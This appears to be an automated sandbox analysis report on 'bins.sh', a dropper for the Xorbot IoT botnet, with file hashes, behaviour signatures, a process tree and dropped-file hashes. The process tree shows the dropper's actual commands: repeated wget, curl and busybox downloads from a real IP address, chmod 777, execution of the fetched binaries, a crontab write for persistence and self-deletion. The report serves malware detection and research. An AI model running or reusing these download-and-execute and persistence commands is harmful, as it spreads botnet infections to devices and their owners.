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Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/02/2025, 11:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8665f2af69fbd363509207dc0486225c

  • SHA1

    7d3257b493a353a934f65a5ec649dc6a2d5d229e

  • SHA256

    1955d746164824980d26e30bf407060921504888edd33ed9ca28b3459cebe74f

  • SHA512

    3e87c838ab67e90e549806a34068ad98ec46c2ef0f4fa83a534b4213a9fc55213a113c65e4c51fdc8ba37b48c9842dc14c4afca93db68fac4ebc8ff0fa719986

  • SSDEEP

    96:qTHZI3vuRUqEro4BGjmMqw4qwqPKfsV9w4qwqPKnbsVLuQq/THJ+3//ro4BGjm5z:iI3v6UqEgzx+PLQBQ

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1965) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:650
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:652
      • /usr/bin/wget
        wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:658
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:668
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Writes file to tmp directory
        PID:677
      • /bin/chmod
        chmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • File and Directory Permissions Modification
        PID:679
      • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        ./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:681
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:683
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:684
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:687
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:688
            • /bin/rm
              rm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
              2⤵
                PID:691
              • /usr/bin/wget
                wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                2⤵
                  PID:695
                • /usr/bin/curl
                  curl -O http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                  2⤵
                    PID:696
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                    2⤵
                    • Writes file to tmp directory
                    PID:697
                  • /bin/chmod
                    chmod 777 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                    2⤵
                    • File and Directory Permissions Modification
                    PID:698
                  • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                    ./tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                    2⤵
                      PID:699
                    • /bin/rm
                      rm tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
                      2⤵
                        PID:701
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                        2⤵
                          PID:702
                        • /usr/bin/curl
                          curl -O http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                          2⤵
                            PID:703
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                            2⤵
                            • Writes file to tmp directory
                            PID:704
                          • /bin/chmod
                            chmod 777 j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                            2⤵
                            • File and Directory Permissions Modification
                            PID:705
                          • /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                            ./j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                            2⤵
                              PID:706
                            • /bin/rm
                              rm j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
                              2⤵
                                PID:709
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                2⤵
                                  PID:710
                                • /usr/bin/curl
                                  curl -O http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                  2⤵
                                    PID:711
                                  • /bin/busybox
                                    /bin/busybox wget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:712
                                  • /bin/chmod
                                    chmod 777 jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:713
                                  • /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                    ./jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                    2⤵
                                      PID:714
                                    • /bin/rm
                                      rm jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN
                                      2⤵
                                        PID:716
                                      • /usr/bin/wget
                                        wget http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                        2⤵
                                          PID:718
                                        • /usr/bin/curl
                                          curl -O http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                          2⤵
                                            PID:719
                                          • /bin/busybox
                                            /bin/busybox wget http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:721
                                          • /bin/chmod
                                            chmod 777 Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:724
                                          • /tmp/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                            ./Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                            2⤵
                                              PID:759
                                            • /bin/rm
                                              rm Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7
                                              2⤵
                                                PID:774
                                              • /usr/bin/wget
                                                wget http://37.44.238.88/bins/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                2⤵
                                                  PID:808
                                                • /usr/bin/curl
                                                  curl -O http://37.44.238.88/bins/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                  2⤵
                                                    PID:809
                                                  • /bin/busybox
                                                    /bin/busybox wget http://37.44.238.88/bins/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:815
                                                  • /bin/chmod
                                                    chmod 777 LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:817
                                                  • /tmp/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                    ./LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                    2⤵
                                                      PID:819
                                                    • /bin/rm
                                                      rm LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ
                                                      2⤵
                                                        PID:820
                                                      • /usr/bin/wget
                                                        wget http://37.44.238.88/bins/KFtaZZ2LQo7eP6nNuSRtJBIP5qdczlxYp6
                                                        2⤵
                                                        • System Network Configuration Discovery
                                                        PID:821

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx

                                                      Filesize

                                                      119KB

                                                      MD5

                                                      1b166b95f9cb4b079ef1b9ec8363ddf3

                                                      SHA1

                                                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                      SHA256

                                                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                      SHA512

                                                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                    • /tmp/LFfZ18XBjDKqEI2lYk1LdcD8DGvwl0L9BQ

                                                      Filesize

                                                      111KB

                                                      MD5

                                                      701e7a55a4f3650f5feee92a9860e5fc

                                                      SHA1

                                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                      SHA256

                                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                      SHA512

                                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                    • /tmp/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo7

                                                      Filesize

                                                      141KB

                                                      MD5

                                                      3ca8decdb1e52c423c521bfff02ac200

                                                      SHA1

                                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                      SHA256

                                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                      SHA512

                                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                    • /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh

                                                      Filesize

                                                      122KB

                                                      MD5

                                                      cd3d4b9c643e5b473fb4d88ed05f0716

                                                      SHA1

                                                      64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                      SHA256

                                                      0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                      SHA512

                                                      164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                    • /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN

                                                      Filesize

                                                      99KB

                                                      MD5

                                                      9438d9bc392bcf300a5583b6df5bc8f6

                                                      SHA1

                                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                                      SHA256

                                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                      SHA512

                                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                    • /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

                                                      Filesize

                                                      151KB

                                                      MD5

                                                      6c583043d91c55aa470c08c87058e917

                                                      SHA1

                                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                                      SHA256

                                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                      SHA512

                                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                    • /var/spool/cron/crontabs/tmp.Ffahuw

                                                      Filesize

                                                      210B

                                                      MD5

                                                      cebf7360e2f1b72aaff558d843f839eb

                                                      SHA1

                                                      4e625c2dd8de831b622fa133662c0bb54e0d1c65

                                                      SHA256

                                                      e2439bb720f890c172315fefdb292c803d4a54d0858be92a21c2b0a43393f4f0

                                                      SHA512

                                                      799cda10f8852143c0c70011f1aa5ddb45398ceb2e58fc2573bcf81dc8a1b30eda1a81cfb1a2eca2c68ec7effe774253926106d90cf93510b8c0a725bfcd37fb